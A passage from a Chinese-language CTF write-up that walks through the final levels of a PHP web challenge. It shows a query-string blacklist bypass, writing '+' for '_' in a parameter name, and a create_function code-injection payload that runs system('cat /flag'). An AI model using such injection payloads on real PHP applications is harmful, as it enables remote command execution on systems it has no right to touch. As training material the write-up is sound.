14
15
16
17
18
19
20
    <?php
//here is last level
error_reporting(0);
include "str.php";
show_source(__FILE__);

$str = parse_url($_SERVER['REQUEST_URI']);
if($str['query'] == ""){
echo "give me a parameter";
}
if(preg_match('/ |_|20|5f|2e|\./',$str['query'])){
die("blacklist here");
}
if($_GET['NI_SA_'] === "txw4ever"){
die($level5);
}
else{
die("level 4 failed ...");
}
?>

简单说一下 就是用NI_SA
=txw4ever 就行 但需要把_换为+
否则因php代码特性会导致变量名变化
得出 55_5_55.php文件
6. 看一下55_5_55.php文件 仍为pgp代码
1
2
3
4
5
6
7
8
9
10
11
12
13
   <?php
//sorry , here is true last level
//^_^
error_reporting(0);
include "str.php";
$a = $_GET['a'];
$b = $_GET['b'];
if(preg_match('/^[a-z0-9_]*$/isD',$a)){
show_source(__FILE__);
}
else{
$a('',$b);
}

“ $a(‘’,$b);”整个代码就是考察这个内容
create_function自带eval命令执行,因此我们需要传入$a为\create_function;
而对于参数$b,我们需要让它执行system()函数,用于回显flag,因此传入$b为“}system(‘cat /flag’);//”
payload : a=\create_function&b=}system(‘cat /flag’);//
即可求出flag

  1. 总结:
    这题的知识点众多 要对md5的绕过知识充分理解
    还要对php代码特性有理解